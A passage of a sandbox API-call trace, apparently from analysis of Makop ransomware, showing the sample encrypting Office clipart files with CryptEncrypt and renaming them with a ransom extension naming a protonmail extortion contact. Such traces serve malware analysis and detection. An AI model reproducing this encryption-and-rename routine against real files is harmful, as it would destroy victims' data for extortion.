dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.697] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.697] GetProcessHeap () returned 0x48a0000 [0109.697] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.697] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.697] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.698] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.698] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.698] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x634, lpOverlapped=0x0) returned 1 [0109.698] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x640, dwBufLen=0x640 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x640) returned 1 [0109.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.699] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x640, lpOverlapped=0x0) returned 1 [0109.699] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.699] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.699] SetEndOfFile (hFile=0xf0) returned 1 [0109.706] GetProcessHeap () returned 0x48a0000 [0109.706] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.706] GetProcessHeap () returned 0x48a0000 [0109.706] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.706] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.707] CloseHandle (hObject=0xf0) returned 1 [0109.708] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0109.708] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0109.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.708] GetProcessHeap () returned 0x48a0000 [0109.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.709] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.709] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.714] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.714] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.714] GetProcessHeap () returned 0x48a0000 [0109.715] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.715] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.715] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.715] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.715] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.715] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.715] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.716] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.716] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.716] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.716] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4bc, lpOverlapped=0x0) returned 1 [0109.716] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c0) returned 1 [0109.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.717] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4c0, lpOverlapped=0x0) returned 1 [0109.717] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.717] SetEndOfFile (hFile=0xf0) returned 1 [0109.724] GetProcessHeap () returned 0x48a0000 [0109.724] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.724] GetProcessHeap () returned 0x48a0000 [0109.724] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.724] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.726] CloseHandle (hObject=0xf0) returned 1 [0109.726] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0109.726] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0109.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.728] GetProcessHeap () returned 0x48a0000 [0109.729] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.729] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.729] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.733] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.733] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.733] GetProcessHeap () returned 0x48a0000 [0109.734] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.734] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.734] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.734] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.734] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.734] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.734] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.735] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.735] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.735] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.735] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.735] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.735] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x804, lpOverlapped=0x0) returned 1 [0109.735] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x810, dwBufLen=0x810 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x810) returned 1 [0109.735] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x810, lpOverlapped=0x0) returned 1 [0109.736] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.736] SetEndOfFile (hFile=0xf0) returned 1 [0109.744] GetProcessHeap () returned 0x48a0000 [0109.744] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.745] GetProcessHeap () returned 0x48a0000 [0109.745] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.745] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.746] CloseHandle (hObject=0xf0) returned 1 [0109.746] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0109.746] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0109.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.747] GetProcessHeap () returned 0x48a0000 [0109.747] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.747] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.747] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.761] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.761] GetProcessHeap () returned 0x48a0000 [0109.761] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.761] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.761] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.761] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.762] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.762] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.762] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.762] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.762] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.762] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15cc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15cc, lpOverlapped=0x0) returned 1 [0109.764] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15d0, dwBufLen=0x15d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15d0) returned 1 [0109.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.764] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x15d0, lpOverlapped=0x0) returned 1 [0109.765] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.765] SetEndOfFile (hFile=0xf0) returned 1 [0109.772] GetProcessHeap () returned 0x48a0000 [0109.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.772] GetProcessHeap () returned 0x48a0000 [0109.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.772] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.775] CloseHandle (hObject=0xf0) returned 1 [0109.775] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0109.775] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0109.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.776] GetProcessHeap () returned 0x48a0000 [0109.776] 